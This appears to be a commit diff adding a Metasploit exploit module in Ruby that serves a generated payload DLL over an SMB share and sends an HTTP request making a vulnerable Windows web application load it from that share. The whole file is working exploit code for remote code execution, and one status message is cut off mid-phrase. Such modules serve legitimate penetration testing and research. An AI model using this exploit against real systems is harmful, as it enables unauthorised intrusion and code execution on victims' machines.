|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ManualRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::Remote::SMB::Server::Share |
| 13 | + include Msf::Exploit::EXE |
| 14 | + |
| 15 | + def initialize(info={}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Generic Web Application DLL Injection', |
| 18 | + 'Description' => %q{ |
| 19 | + This is a general-purpose module for exploiting conditions where a HTTP request |
| 20 | + triggers a DLL load from a specified SMB share. This module serves payloads as |
| 21 | + DLLs over an SMB service and allows an arbitrary HTTP URL to be called that would |
| 22 | + trigger the load of the DLL. |
| 23 | + }, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Matthew Hall <hallm[at]sec-1.com>' |
| 27 | + ], |
| 28 | + 'Platform' => 'win', |
| 29 | + 'Privileged' => false, |
| 30 | + 'Arch' => [ARCH_X86, ARCH_X86_64], |
| 31 | + 'Stance' => Msf::Exploit::Stance::Aggressive, |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + ['CWE', '427'] |
| 35 | + ], |
| 36 | + 'DefaultOptions' => |
| 37 | + { |
| 38 | + 'EXITFUNC' => 'thread', |
| 39 | + }, |
| 40 | + 'Targets' => |
| 41 | + [ |
| 42 | + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], |
| 43 | + [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] |
| 44 | + ], |
| 45 | + 'DefaultTarget' => 0, # Default target is 32-bit as we usually inject into 32bit processes |
| 46 | + 'DisclosureDate' => 'Mar 04 2015' |
| 47 | + )) |
| 48 | + |
| 49 | + register_options( |
| 50 | + [ |
| 51 | + OptString.new('FILE_NAME', [false, 'DLL File name to share (Default: random .dll)']), |
| 52 | + OptString.new('TARGETURI', [true, 'Path to vulnerable URI (The shared location will be added at the end)', '/cgi-bin/function.php?argument=' ]), |
| 53 | + OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10]) |
| 54 | + ], self.class) |
| 55 | + |
| 56 | + deregister_options('FILE_CONTENTS') |
| 57 | + end |
| 58 | + |
| 59 | + def setup |
| 60 | + super |
| 61 | + |
| 62 | + self.file_contents = generate_payload_dll |
| 63 | + self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll" |
| 64 | + print_status("File available on #{unc}...") |
| 65 | + end |
| 66 | + |
| 67 | + def primer |
| 68 | + sploit = target_uri.to_s |
| 69 | + sploit << unc |
| 70 | + |
| 71 | + print_status("#{peer} - Trying to ") |
| 72 | + send_request_raw({ |
| 73 | + 'method' => 'GET', |
| 74 | + 'uri' => sploit |
| 75 | + }, 3) |
| 76 | + end |
| 77 | + |
| 78 | + def exploit |
| 79 | + begin |
| 80 | + Timeout.timeout(datastore['SMB_DELAY']) {super} |
| 81 | + rescue Timeout::Error |
| 82 | + # do nothing... just finish exploit and stop smb server... |
| 83 | + end |
| 84 | + end |
| 85 | +end |
0 commit comments